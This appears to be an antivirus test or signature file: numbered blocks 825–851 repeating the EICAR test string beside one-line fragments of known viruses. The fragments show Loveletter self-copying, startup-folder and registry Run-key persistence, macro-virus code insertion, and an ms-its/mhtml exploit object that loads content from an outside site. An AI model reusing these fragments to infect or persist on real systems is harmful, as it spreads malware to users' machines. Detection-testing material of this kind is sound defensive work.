 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

825

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

826

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

827

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

828

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

829

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

830

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

831

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

832

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

833

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

834

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

835

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

836

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

837

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

838

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

839

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

840

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

841

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

842

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

843

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

844

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

845

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

846

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

847

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

848

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

849

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

850

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

851

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
